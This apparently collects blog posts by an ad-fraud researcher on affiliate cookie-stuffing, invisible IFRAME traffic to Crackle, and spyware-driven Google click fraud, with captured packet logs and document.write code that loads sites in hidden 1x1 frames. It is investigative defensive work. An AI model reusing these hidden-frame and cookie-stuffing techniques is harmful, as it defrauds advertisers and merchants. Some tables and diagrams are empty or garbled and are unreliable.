/rb101ox54P/x38/QQULSUU/OUMLTUN/L/MADTPECKMRPTMTONUQKMONSTTOMRSQQPKSL/LLTzyMTvPvyUMMzMTLNvLLNOvz--MQxN?u=x<dkp!j8bl-u5it4xtn<iuuq%3A%2F%2Fxxx.ulrmidf.dpn%3A91%2Fdmjdl-4A219A3-66A18AA<<H<iuuq%3A%2F%2Fxxx.ftipq711.dp.vl%2Fejtdpvou-wpvdifs-dpeft.iunm< HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: http://www.eshop600.co.uk/discount-voucher-codes.htmlAccept-Language: en-USUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)Accept-Encoding: gzip, deflateConnection: Keep-AliveHost: www.kdukvh.comHTTP/1.1 302 FoundServer: Resin/3.1.8P3P: policyref="http://www.kdukvh.com/w3c/p3p.xml", CP="ALL BUS LEG DSP COR ADM CUR DEV PSA OUR NAV INT"Cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0Pragma: no-cacheExpires: Mon, 30 Jan 2012 00:26:18 GMTLocation: http://www.argos.co.uk/webapp/wcs/stores/servlet/ArgosCreateReferral?storeId=10001&referrer=COJUN&cmpid=COJUN&referredURL=&_%24ja=tsid%3A11674%7Cprd%3A3910892Set-Cookie: LCLK=cjo!i7ak-t4hs3wsm; domain=.kdukvh.com; path=/; expires=Sat, 28-Jan-2017 00:26:18 GMTSet-Cookie: S=1qt84us-1648183295-1327883167554-70; domain=.kdukvh.com; path=/; expires=Sat, 28-Jan-2017 00:26:18 GMTSet-Cookie: PBLP=849260:3910892:1327883178648:cjo; path=/; expires=Sat, 28-Jan-2017 00:26:18 GMTContent-Type: text/htmlConnection: closeTransfer-Encoding: chunkedDate: Mon, 30 Jan 2012 00:26:18 GMT

Of course www.argos.co.uk is just one of dozens of merchants affected. Below are 26 merchants we’ve found targeted by Eshop600, including merchants using affiliate networks Affiliate Window (AW), Commission Junction (CJ), TradeDoubler (TD), and Perfiliate (now owned by Affiliate Window).

direct.asda.com (AW) www.britishairways.com (AW)
www.dorothyperkins.com (AW) www.screwfix.com (AW)
groceries.asda.com (Perfiliate) www.burton.co.uk (AW)
www.evans.co.uk (AW) www.sky.com (AW)
phone-shop.tesco.com (TD) www.comet.co.uk (AW)
www.halfords.com (AW) www.tesco.com (TD)
store.three.co.uk (Perfiliate) www.currys.co.uk (AW)
www.hsamuel.co.uk (AW) www.vodafone.co.uk (AW)
www.annsummers.com (AW) www.debenhams.com (AW)
www.johnlewis.com (AW) www.wilkinsonplus.com (AW)
www.argos.co.uk (CJ) www.dixons.co.uk (AW)
www.missselfridge.com (AW) www.asda.co.uk (Perfiliate)
www.diy.com (AW) www.pcworld.co.uk (AW)  

Beyond encoded JavaScript, Eshop600 also tried other methods to avoid detection. Load an Eshop600 page repeatedly, and it won’t stuff cookies every time; the site is clearly attempting to recognize repeat visitors to avoid restuffing the same users more than once. That makes Eshop600’s practice harder to replicate (an extra challenge for anyone trying to prove an infraction) and helps reduce telltale signs in merchants’ logs.

On one view, these practices are nothing new: Ben has been writing these up since 2004. But affiliate merchants and networks need to remain vigilant to catch these cheaters. We’re finding many dozens of affiliate cookie-stuffers per month, along with other rogue affiliates using spyware/adware, typosquatting, and more. It’s not unusual for cheaters to be among a merchants’ largest affiliates; for example, the 2010 indictment of Shawn Hogan alleges that he was the single largest affiliate in eBay’s affiliate program in 2006-2007, collecting more than $15 million over 18 months. Now, most affiliate programs are far smaller than eBay’s, yielding a correspondingly lower opportunity for fraud. But for mid-sized merchants, there are typically large savings in catching and ejecting all rule-breakers.

Sony’s Crackle: Invisible Traffic Galore

Advertisers buying display ads from Sony’s Crackle.com rightly and reasonably expect that users can see the ads. After all, a visible ad is a basic and crucial condition for effective display advertising: If a user can’t see ad, then the impression is wasted, as is the associated spending. Nonetheless, in a surprising series of incidents, numerous Crackle partners are loading the Crackle site invisibly — thereby overcharging advertisers for worthless invisible impressions.

Below, I present three recent examples of Crackle partners loading the Crackle site invisibly, largely via 1×1 IFRAMEs. I then tabulate observations preserved by my automation, demonstrating that Crackle’s tainted traffic has continued for more than a year. I conclude by flagging implications for traffic measurement and ad pricing, and by suggesting what Crackle should do to clean up this mess.

Example 1: Yahoo Right Media, Adjuggler Invisible (1×1) IFRAME Loads Crackle Invisibly

In testing of April 24, 2010, my Automatic Spyware Advertising Tester browsed a series of ad URLs I had previously observed to be loaded by various spyware (installed through security exploits without user consent). One such URL embedded Bcserving tags for a 160×600 IFRAME, which passed traffic through Yahoo Right Media (yellow) to Adjuggler (green). Crucially, Adjuggler responded with an invisible 1×1 IFRAME (red) loading a URL on the Crackle site (blue). Meanwhile, another 1×1 IFRAME loaded competing video site Buddytv (grey).

GET /servlet/ajrotator/875404/0/vj?z=pdn&dim=753182&pos=1&pv=1292398882782181&nc=26008239 HTTP/1.1
Accept: */*
Referer: http://ad.yieldmanager.com/iframe3?AAAAAJ57DABJF0gAAAAAAABnEwAAAAAAAgAcAAoAAAAAAP8AAAAHGBe4GAAAAAA
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: rotator.adjuggler.com
Connection: Keep-Alive
Cookie: optin=Aa; ajess1_185B9A7222F0F2E13794DA5C=a; ajcmp=2023xkW0101Em0039kn

HTTP/1.1 200 OK
Server: JBird/1.0b
Connection: close
Date: Sun, 25 Apr 2010 03:11:36 GMT
Pragma: no-cache
Cache-Control: private, max-age=0, no-cache, no-store
Expires: Tue, 01 Jan 2000 00:00:00 GMT
P3P: policyref=”http://rotator.adjuggler.com:80/p3p/RotatorPolicyRef.xml”, CP=”NOI DSP COR CURa DEVa TAIa OUR SAMa NOR STP NAV STA LOC”
Content-Type: application/x-javascript

document.write(“<“+”IFRAME FRAMEBORDER=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=NO WIDTH=1 HEIGHT=1 SRC= “http://search.dailygamingupdates.com/ioq1wEIC6YxRSnWiIC9BHpdX0b1i.html”><“+”/IFRAME><“+”br><“+”/br>n”);
document.write(“<“+”IFRAME FRAMEBORDER=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=NO WIDTH=1 HEIGHT=1 SRC=”http://crackle.com/c/A_River_Runs_Through_It/?cmpid=762“><“+”/IFRAME><“+”br><“+”/br>n”);
document.write(“<“+”iframe src=”http://www.buddytv.com/home2/american-idol-home2.aspxwidth=”1″ height=”1″ scrolling=”no” frameborder=”0″ marginheight=”0″ marginwidth=”0″><“+”/iframe>”);

The net effect was to load the Crackle site completely invisibly. The page-load also embedded tracking tags for comScore/ScorecardResearch (yellow). Unless comScore takes special steps to recognize and discount these invisible loads of the Crackle site, the presence of these tags would cause comScore services to overstate Crackle’s popularity.

<script type=”text/javascript”>
document.write(unescape(“%3Cscript src='” + (document.location.protocol == “https:” ? “https://sb” : “http://b”) + “.scorecardresearch.com/beacon.js’ %3E%3C/script%3E”));

<script type=”text/javascript”>
c1: 2,
c2: 6035898,
c3: “”,
c4: “Crackle.com”,
c5: “030224”,
c6: “”,
c15: “”

Example 2: Yahoo Right Media, Adjuggler, Media Javelin Overflowing IFRAME (1280×800 inside 160×600) Loads Crackle Invisibly

In testing of April 14, 2010, my tester browsed another publisher passing traffic through Yahoo Right Media (yellow) to an ad on Adjuggler (green) with a HTML comment referencing Media Javelin (pink). The placement was purportedly a 160×600 (grey), yet the response included a further 160×600 ad (completely filling the available space) (grey) followed by three 1280×800 IFRAMEs (red). The third of these IFRAMEs passed traffic to an Adspeed URL (orange) which passed traffic to Crackle (blue).

GET /servlet/ajrotator/875404/0/vj?z=pdn&dim=753182&pos=1&pv=9001545836619459&nc=92606617 HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: rotator.adjuggler.com
Connection: Keep-Alive
Cookie: optin=Aa; ajess1_…=a; ajcmp=…

HTTP/1.1 200 OK
Server: JBird/1.0b
Connection: close
Date: Wed, 14 Apr 2010 05:43:20 GMT
Pragma: no-cache
Cache-Control: private, max-age=0, no-cache, no-store
Expires: Tue, 01 Jan 2000 00:00:00 GMT
P3P: policyref=”http://rotator.adjuggler.com:80/p3p/RotatorPolicyRef.xml”, CP=”NOI DSP COR CURa DEVa TAIa OUR SAMa NOR STP NAV STA LOC”
Content-Type: application/x-javascript
Set-Cookie: ajcmp=…;Max-Age=315360000;expires=Sat, 11 Apr 2020 05:43:20 GMT;Path=/

document.write(“<“+”!– BEGIN STANDARD TAG – 160 x 600Mediajavelin.com: Run-of-site – DO NOT MODIFY –>n”);
document.write(“<“+”IFRAME FRAMEBORDER=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=NO WIDTH=160 HEIGHT=600 SRC=”http://ad.yieldmanager.com/st?ad_type=iframe&ad_size=1024×800&section=820955“><“+”/IFRAME>n”);
document.write(“<“+”!– END TAG –>n”);
document.write(“<“+”!– AdSpeed.com Serving Code 7.9.4 for [Ad] Buddy_home_cpc 1280×800 –><“+”iframe width=”1280″ height=”800″ src=”http://g.adspeed.net/ad.php?do=html&aid=82609&wd=1280&ht=800&target=_top” frameborder=”0″ scrolling=”no” allowtransparency=”true” hspace=”0″ vspace=”0″><“+”img style=”border:0px;” src=”http://g.adspeed.net/ad.php?do=img&aid=82609&wd=1280&ht=800&pair=as” width=”1280″ height=”800″/><“+”/iframe><“+”!– AdSpeed.com End –>n”);
document.write(“<“+”!– AdSpeed.com Serving Code 7.9.4 for [Ad] Buddy_idol_cpc 1280×800 –><“+”iframe width=”1280″ height=”800″ src=”http://g.adspeed.net/ad.php?do=html&aid=82610&wd=1280&ht=800&target=_top” frameborder=”0″ scrolling=”no” allowtransparency=”true” hspace=”0″ vspace=”0″><“+”img style=”border:0px;” src=”http://g.adspeed.net/ad.php?do=img&aid=82610&wd=1280&ht=800&pair=as” width=”1280″ height=”800″/><“+”/iframe><“+”!– AdSpeed.com End –>n”);
document.write(“<“+”!– AdSpeed.com Serving Code 7.9.4 for [Ad] Crackle_blood_cpc 1280×800 –><“+”iframe width=”1280″ height=”800″ src=”http://g.adspeed.net/ad.php?do=html&aid=82611&wd=1280&ht=800&target=_top” frameborder=”0″ scrolling=”no” allowtransparency=”true” hspace=”0″ vspace=”0″><“+”img style=”border:0px;” src=”http://g.adspeed.net/ad.php?do=img&aid=82611&wd=1280&ht=800&pair=as” width=”1280″ height=”800″/><“+”/iframe><“+”!– AdSpeed.com End –>n”);

GET /ad.php?do=html&aid=82611&wd=1280&ht=800&target=_top HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: g.adspeed.net
Connection: Keep-Alive

HTTP/1.1 200 OK
P3P: policyref=”http://g.adspeed.net/w3c/p3p.xml”, CP=”NOI CUR ADM OUR NOR STA NID”
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Pragma: no-cache
Cache-Control: private, max-age=0, no-cache, no-store, must-revalidate
Content-type: text/html
Connection: close
Transfer-Encoding: chunked
Date: Wed, 14 Apr 2010 05:43:19 GMT
Server: AdSpeed/s10

<html><head><title>Advertisement</title></head><body leftmargin=0 topmargin=0 marginwidth=0 marginheight=0 style=”background-color:transparent”><SCRIPT language=”JavaScript”>
</SCRIPT><div style=”position:absolute;left:0px;top:0px;visibility:hidden;”><img src=”http://g.adspeed.net/ad.php?do=imp&zid=0&aid=82611&auth=0DB7FD0BC9&wd=1280&ht=800&cb=1271223799″ alt=”i” width=”1″ height=”1″ /></div></body></html>

The net effect was to load the Crackle site completely invisibly. Here too, the Crackle site returned comScore and ScorecardResearch tags as detailed in example 1.

Example 3: Yahoo Right Media, Extreme-sportsonline, Hotbizguide Double Invisible (1×1) IFRAMEs Load Crackle Invisibly

In testing of April 13, 2010, my tester browsed another publisher passing traffic through Yahoo Right Media (yellow) to Extreme-sportsonline (green) which included a 1×1 IFRAME (grey) passing traffic to Hotbizguide (pink). Hotbizguide returned two separate 1×1 IFRAMEs (red) loading Crackle (blue)

GET /BhkG9KftZrBezVPLOKuGW5pr4LRA.html HTTP/1.1 …
Host: search.extreme-sportsonline.com …

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Tue, 13 Apr 2010 13:37:58 GMT

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”>
<html ; }
function trigger() { step++; if(step==max_steps){ load_content(); } }
<div id=”inifrcode”></div>
<iframe src=”http://search.hotbizguide.com/66682d5b6048f47cf70e56deb9989bb1.php” marginwidth=”0″ marginheight=”0″ hspace=”0″ vspace=”0″ frameborder=”0″ scrolling=”no” width=”1″ height=”1″ onload=”trigger();”></iframe><!–inifrcode–>
<div id=”stuff”></div>
<div id=”stuff1″></div>
<div id=”innercode”></div>

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://search.mobilegamesearch.com/NgVbJ4eWaW7bMt57RcZVGMggRW9t.html
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: search.hotbizguide.com
Connection: Keep-Alive
Cookie: PHPSESSID=a8qbtgec2k79fd8c6onqp5k3q6

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Tue, 13 Apr 2010 21:45:49 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.2.11
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: trkid=…; expires=Fri, 16-Apr-2010 21:45:49 GMT

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”>
<html >iframe src=”http://crackle.com/c/A_River_Runs_Through_It/?cmpid=728width=”1″ height=”1″ scrolling=”no” frameborder=”0″ marginheight=”0″ marginwidth=”0″></iframe>
<iframe src=”http://crackle.com/c/The_Beast/?cmpid=692width=”1″ height=”1″ scrolling=”no” frameborder=”0″ marginheight=”0″ marginwidth=”0″></iframe>

The net effect was to load the Crackle site completely invisibly, twice. Here too, the Crackle site returned comScore and ScorecardResearch tags as detailed in example 1.

A Long-Term Problem

To confirm the scope of Crackle’s invisible and forced-visit traffic and to evaluate trends over time, I searched logs preserved by my Automatic Spyware Advertising Tester. My tester records the URLs of pages loaded by the spyware-infected virtual computers, but my tester never intentionally visited the Crackle site, nor did my tester ever prompt or provoke traffic to Crackle in any way. So if my tester observes traffic to Crackle, that traffic must have occurred unrequested — invisibly or, at best, through a spyware popup or popunder.

The following table summarizes my tester’s observations of traffic to Crackle:

Month Number of observations of
traffic to Crackle.com
Q1 2009
Q2 2009
Q3 2009
Q4 2009
Q1 2010
April 2010 (month to date)

Although my testing methods have changed over time (e.g. to test new spyware), my testing intensity has remained constant. I have no specific reason to expect that adjustments to my methods would be more or less effective at uncovering Crackle incidents. I therefore tend to attribute month-to-month changes to changes in the intensity with which Crackle’s partners purchase invisible traffic and other tainted traffic on Crackle’s behalf. In my experience, most traffic-buyers run on-and-off campaigns — buying traffic for a time, then taking a break. If Crackle’s traffic buying followed a similar approach, spikes would be expected.

In any event, invisible and forced-visit traffic to Crackle cannot be written off as a short-term anomaly. Quite the contrary, my tester’s observations confirm that these problems have persisted for many months.

Implications and Next Steps

Advertisers buying placements on Crackle reasonably expect high-quality traffic. For example, the first clause of Crackle’s “About” page boasts that Crackle is owned by Sony, and Sony’s size and wealth provide a level of accountability that smaller video sites cannot offer. Nonetheless, my observations confirm that some placements on Crackle are entirely worthless.

Crackle may blame its tainted and invisible traffic on traffic brokers, affiliates, and other external forces. But traffic-buying inevitably invites exactly these shenanigans. If Crackle intends to buy traffic, it should better vet its partners — including confirming partners’ bona fides, overseeing partners’ specific methods, and developing procedures to hold partners accountable for any shortfalls. I’ve seen no sign of any such efforts. If Crackle can’t buy traffic with the requisite skill, perhaps Crackle would do better by ceasing to buy traffic at all.

Crackle traffic rank from Alexa - April 2010Three years ago, I posted How Spyware-Driven Forced Visits Inflate Web Site Traffic Counts, pointing out that cheap spyware and popup traffic can increase measurements of web site popularity. Users at least see those spyware popups, giving some nugget of rationale for resulting traffic figures. But users cannot even see the Crackle site when it is loaded invisibly as detailed above. Nonetheless, invisible site-loads are still likely to inflate measurements of Crackle’s traffic. For example, during the first few days of April 2010, my tester observed rampant fake traffic to Crackle — and Alexa simultaneously reported a major spike in Crackle’s traffic. (See image at right.) Furthermore, with comScore tags embedded in each Crackle impression, comScore systems receive a report each time Crackle’s site is loaded. Indeed, such reports come from a large number of distinct IP addresses — seemingly confirming that the traffic is legitimate. Can comScore successfully recognize and discount invisible loads of the Crackle site? If not, comScore will join Alexa in overstating Crackle’s popularity.

My bottom line? Buying traffic is a dirty business — so many sellers who provide worthless traffic, and so many buyers who use too little care in selecting and assessing the traffic they buy. As it stands, advertisers and networks doing business with Crackle risk paying for ads users cannot see. Plenty of small-time video sites play these games, but it’s disappointing to see a Sony site stoop to that level.

Google Click Fraud Inflates Conversion Rates and Tricks Advertisers into Overpaying

I’ve repeatedly reported improper placements of Google ads. In most of my write-ups, the impropriety occurs in ad placement — Google PPC ads shown in spyware popups (1, 2, 3, 4), in typosquatting sites (1, 2), or in improperly-installed and/or deceptive toolbars (1, 2). This article is different: Here, the impropriety includes a fake click — click fraud — charging an advertiser for a PPC click, when in fact the user never actually clicked.

But this is no ordinary click fraud. Here, spyware on a user’s PC monitors the user’s browsing to determine the user’s likely purchase intent. Then the spyware fakes a click on a Google PPC ad promoting the exact merchant the user was already visiting. If the user proceeds to make a purchase — reasonably likely for a user already intentionally requesting the merchant’s site — the merchant will naturally credit Google for the sale. Furthermore, a standard ad optimization strategy will lead the merchant to increase its Google PPC bid for this keyword on the reasonable (albeit mistaken) view that Google is successfully finding new customers. But in fact Google and its partners are merely taking credit for customers the merchant had already reached by other methods.

In this piece, I show the details of the spyware that tracks user browsing and fakes Google PPC ad clicks, and I identify the numerous intermediaries that perpetrate these improper charges. I then criticize Google’s decision to continue placing ads through InfoSpace, the traffic broker that connected Google to this click fraud chain. I consider this practice in light of Google’s advice to advertisers and favored arguments that click fraud problems are small and manageable. Finally, I propose specific actions Google should take to satisfy to prevent these scams and to satisfy Google’s obligations to advertisers.

Introducing the Problem: A Reader’s Analogy

Reading a prior article on my site, a Register discussion forum participant offered a useful analogy:

Let’s say a restaurant decides [it] wants someone to hand out fliers … so they offer this guy $0.10 a flier to print some and distribute them.

The guy they hire just stands at the front door and hand the fliers to anyone already walking through the door.

Restaurant pays lots of money and gains zero customers.

Guy handing out the fliers tells the owner how many fliers were printed and compares that to how many people bring the fliers into his restaurant.

The owner thinks the fliers are very successful and now offers $0.20 for each one.

It’s easy to see how the restaurant owner could be tricked. Such scams are especially easy in online advertising — where distance, undisclosed partnerships, and general opacity make it far harder for advertisers to figure out where and how Google and its partners present advertisers’ offers.

Google and Its Partners Covering Advertisers’ Sites with Spyware-Delivered Click-Fraud Popups

PPC advertisers (e.g. Finish Line)
money viewers
money viewers
money viewers
money viewers
money viewers
dSide Marketing
money viewers
money viewers
money viewers
AdOn Network
money viewers

The money trail – how funds flow from advertisers to Google to Trafficsolar spyware.

In testing of December 31, 2009, my Automatic Spyware Advertising Tester browsed Finishline.com, a popular online shoe store, on a virtual computer infected with Trafficsolar spyware (among other advertising software, all installed through security exploits without user consent). Trafficsolar opened a full-screen unlabeled popup, which ultimately redirected back to Finish Line via a fake Google PPC click (i.e., click fraud).

My AutoTester preserved screenshots, video, and packet log of this occurrence. The full sequence of redirects:

Trafficsolar opens a full-screen popup window loading from urtbk.com, a redirect server for AdOn Network. (AdOn, of Tempe, Arizona, first caught my eye when it boasted of relationships with 180solutions/Zango and Direct Revenue. NYAG documents later revealed that AdOn distributed more than 130,000 copies of Direct Revenue spyware. More recently, I’ve repeatedly reported AdOn facilitating affiliate fraud, inflating sites’ traffic stats, and showing unrequested sexually-explicit images.)

AdOn redirects to eWoss. (eWoss, of Overland Park, Kansas, has appeared in scores of spyware popups recorded by my testing systems.)

eWoss redirects to Netaxle. (NetAxle, of Prairie Village, Kansas, has also appeared in numerous popups — typically, as here, brokering traffic from eWoss.)

Netaxle redirects to dSide Marketing. (dSide Marketing, of Montreal, Canada, says it provides full-service SEO and SEM services.)

dSide Marketing redirects to Adfirmative. (Adfirmative, of Austin, Texas, promises “click-fraud protected, targeted advertising” and “advanced click-fraud prevention.”)

Adfirmative redirects to Cheapstuff. (Cheapstuff fails to provide an address on its web site or in Whois, though its posted phone number is in Santa Monica, California. Cheapstuff’s web site shows a variety of commercial offers with a large number of advertisements.)

Cheapstuff redirects to InfoSpace. (InfoSpace, of Bellevue, Washington, is discussed further in the next section.)

InfoSpace redirects to Google, which redirects through DoubleClick and onwards back to Finish Line — the same site my tester had been browsing in the first place.

This placement is a bad deal for Finish Line for at least two reasons. First, Google charges Finish Line a fee to access a user already at Finish Line’s site. But that’s more of a shake-down then genuine advertising: an advertiser should not have to pay to reach a user already at its site. Furthermore, Google styles its advertising as “pay per click”, promising advertisers that “You’re charged only if someone clicks your ad.” But here, the video and packet log clearly confirm that the Google click link was invoked without a user even seeing a Google ad link, not to mention clicking it. Advertisers paying high Google prices deserve high-quality ad placements, not spyware popups and click fraud.

Finally, the popup lacks the labeling specifically required by FTC precedent. Consistent with FTC’s settlement in its Direct Revenue and Zango cases, every spyware/adware popup must be labeled with the name of the program that caused the popup, along with uninstall instructions. Furthermore, the FTC has taken an appropriately dim view of advertising software installed on users’ computers without user consent. But every single Trafficsolar installation I’ve ever seen has arrived on my test computers through security exploits, without consent. For these reasons, this Trafficsolar-Google popup clearly falls afoul of applicable FTC requirements.

Critiquing InfoSpace’s role

As shown in the prior section and diagram, traffic flows through a remarkable seven intermediaries en route from Trafficsolar spyware to the victim Google advertiser. Looking at such a lengthy chain, the problem may seem intractable: How could Google effectively supervise a partner’s partner’s partner’s partner’s partner’s partner’s partner’s partner? That insurmountable challenge is exactly why Google should never have gone down this path. Instead, Google should place ads only through the companies with which Google has direct relationships.

In this instance, when traffic finally gets to Google, it comes through a predictable source: InfoSpace. It was InfoSpace, and InfoSpace alone, that distributed Google ads into the morass of subsyndicators and redistributors detailed above.

Flipping through my records of prior InfoSpace observations, I was struck by the half-decade of bad behavior. Consider:

June 2005: I showed InfoSpace placing Google ads into the IBIS Toolbar which, I demonstrated in multiple screen-capture videos, was arriving on users’ computers through security exploits (without user consent). The packet log revealed that traffic flowed from IBIS directly to InfoSpace’s Go2net.com — suggesting that InfoSpace had a direct relationship with IBIS and paid IBIS directly, not via any intermediary.

August 2005: I showed InfoSpace placing ads through notorious spyware vendor Direct Revenue (covering advertisers’ sites with unlabeled popups presenting their own PPC ads). The packet log revealed that traffic flowed from Direct Revenue directly to InfoSpace — suggesting that InfoSpace had a direct relationship with Direct Revenue and paid Direct Revenue directly, not via any intermediary.

August 2005: I showed InfoSpace placing ads through notorious spyware vendor 180solutions/Zango. The packet log revealed that traffic flowed from 180solutions directly to InfoSpace — suggesting that InfoSpace had a direct relationship with 180solutions and paid 180solutions directly, not via any intermediary.

February 2009: I showed InfoSpace placing Google ads into WhenU popups that covered advertisers’ sites with their own PPC ads.

May 2009: Again, I showed InfoSpace using WhenU to cover advertisers’ sites with their own PPC ads, through partners nearly identical to the February report.

January 2010 (last week): I showed InfoSpace’s still placing Google ads into WhenU popups and still covering advertisers’ sites with their own PPC ads.

And those are just placements I happened to write up on my public site! Combine this pattern of behavior with InfoSpace’s well-documented accounting fraud, and InfoSpace hardly appears a sensible partner for Google and the advertisers who entrust Google to manage their spending.

Nor can InfoSpace defend this placement by claiming Cheapstuff looked like a suitable place to show ads. The Cheapstuff site features no mailing address or indication of the location of corporate headquarters. WHOIS lists a “privacy protection” service in lieu of a street address or genuine email address. These omissions are highly unusual for a legitimate advertising broker. They should have put InfoSpace and Google on notice that Cheapstuff was up to no good.

This Click Fraud Undercuts Google’s Favorite Defense to Click Fraud Complaints

When an advertiser buys a pay-per-click ad and subsequently makes a sale, it’s natural to assume that sale resulted primarily from the PPC vendor’s efforts on the advertiser’s behalf. But the click fraud detailed in this article takes advantage of this assumption by faking clicks to target purchases that would have happened anyway. Then, when advertisers evaluate the PPC traffic they bought, they overvalue this “conversion inflation” traffic — leading advertisers to overbid and overpay.

Indeed, advertisers’ following Google’s own instructions will fall into the overbidding trap. Discussing “traffic quality” (i.e. click fraud and similar schemes),Google tells advertisers to “track campaign performance” for “ROI monitoring.” That is, when an advertiser sees a Google ad click followed by a sale, the advertiser is supposed to conclude that ads are working well and delivering value, and that click fraud is not a problem. Google’s detailed “Click Fraud: Anecdotes from the Front Line” features a similar approach, advising that “ROI is king,” again assuming that clicks that precede purchases must be valuable clicks.

Google’s advice reflects an overly optimistic view of click fraud. Google assumes click fraudsters will send random, untargeted traffic. But click-frauders can monitoring user activities to identify the user’s likely future purchases, just as Trafficsolar does in this example. Such a fraudster can fake the right PPC clicks to get credit for traffic that appears to be legitimate and valuable — even though in fact the traffic is just as worthless as other click fraud.

What Google Should Do

Google’s best first step remains as in my posting last week: Fire InfoSpace. Google doesn’t need InfoSpace: high-quality partners know to approach Google directly, and Google does not need InfoSpace to add further subpartners of its own.

Google also needs to pay restitution to affected advertisers. Every time Google charges an advertiser for a click that comes from InfoSpace, Google relies on InfoSpace’s promise that the click was legitimate, genuine, and lawfully obtained. But there is ample reason to doubt these promises. Google should refund advertisers for corresponding charges — for all InfoSpace traffic if Google cannot reliably determine which InfoSpace traffic is legitimate. These refunds should apply immediately and across-the-board — not just to advertisers who know how to complain or who manage to assemble exceptional documentation of the infraction.

More generally, Google must live up to the responsibility of spending other people’s money. Through its Search Network, Google takes control of advertisers’ budgets and decides, unilaterally, where to place advertisers’ ads. (Indeed, for Search Network purchases, Google to this day fails to tell advertisers what sites show their ads. Nor does Google allow opt-outs on a site-by-site basis — policies that also ought to change.) Spending others’ money, wisely and responsibly, is a weighty undertaking. Google should approach this task with significantly greater diligence and care than current partnerships indicate. Amending its AdWords Terms and Conditions is a necessary step in this process: Not only should Google do better, but contracts should confirm Google’s obligation to offer refunds when Google falls short.

I’m disappointed by Google’s repeated refusal to take the necessary precautions to prevent these scams. InfoSpace’s shortcomings are well-known, longstanding, and abundantly documented. What will it take get Google to eject InfoSpace and protect its advertisers’ budgets?

Google Still Charging Advertisers for Conversion-Inflation Traffic from WhenU Spyware updated January 7, 2010

When an advertiser buys a pay-per-click ad and subsequently makes a sale, it’s natural to assume that sale resulted primarily from the PPC vendor’s efforts on the advertiser’s behalf. But tricky PPC platforms take advantage of this assumption by referring purchases that would have happened anyway. Then, when advertisers evaluate the PPC traffic they bought, they overvalue this “conversion inflation” traffic — leading advertisers to overbid and overpay.

In this piece, I show Google and its partners still covering popular sites with PPC advertisements promoting those same sites. I present the role of InfoSpace, the Google partner at the core of these misplacements, and I argue that Google should long ago have severed its ties to InfoSpace. I cite specific Google promises that these placements violate, and I critique Google’s contractual disclaimers that claim advertisers must pay for these bogus placements. Finally, I propose specific actions Google should take to satisfy to its obligations to advertisers.

Google and Its Partners Still Covering Advertisers’ Sites with Spyware-Delivered Popups

WhenU covers Continental with its own Google ads -- charging ad fees for traffic Continental would otherwise receive for free
WhenU covers Continental with its own Google ads — chargingad fees for traffic Continental would otherwise receive for free

As shown in the thumbnail at right and detailed in screenshots, video, and packet log, WhenU continues to cover web sites with PPC popups. Crucially, those popups show Google ads — often promoting the very same sites users are already browsing.

In the example shown at right, I browsed the Continental Airlines site. WhenU opened the popup shown at right — covering the Continental site with a list of Google ads, putting a prominent Continental ad front-and-center. Thus, Google charges Continental a fee to access a user already at Continental’s site. That’s a rotten deal for Continental: For one, an advertiser should not have to pay to reach a user already at its site. Furthermore, advertisers paying high Google prices deserve high-quality ad placements, not spyware popups.

The details of the Continental ad, as shown in the WhenU-Google popup, further entice users to click. The ad promises a “low fare guarantee” — suggesting that users who book some other way (without clicking the ad) may not enjoy that guarantee. And the ad promises to take users to the “official site” — suggesting that users who don’t click the ad will book through a site that is less than official. In fact both suggestions are inaccurate, but a reasonable user would naturally reach these conclusions based on the wording of the advertisement and the context of its appearance.

The WhenU-Google popup lacks the labeling specifically required by FTC policy. In particular, all sponsored search ads are to be labeled as such, pursuant to the FTC ‘s 2002 instructions. But look closely at the popup screenshot. On my ordinary 800×600 screen, no such label appears. I gather the required label would ordinarily appear on a sufficiently large screen, but the FTC’s policies make no exceptions for users with small to midsized screens. Indeed, as netbooks gain popularity, small screens are increasingly common.

The diagram below (left) confirms the specific intermediaries passing traffic from WhenU to Google in this instance.

The money trail: how funds flow from advertisers to Google to WhenU
(three examples persisting over ten months)
December 2009

PPC advertisers
(e.g. Continental)
money viewers
money viewers
money viewers
money viewers
(unknown company*)
money viewers

PPC advertisers
(e.g. RCN)
money viewers
money viewers
money viewers

*  LocalPages
money viewers
money viewers

money viewers

PPC advertisers
(e.g. Verizon)
money viewers
money viewers
money viewers
money viewers

This observation marks the third sequence by which I have observed Google paying WhenU to cover advertisers’ sites with the advertisers’ own Google ads. The center and right diagrams (above) show the intermediaries in my May 2009 and February 2009 observations of similar placements.

The Impropriety of Google’s Relationship with InfoSpace

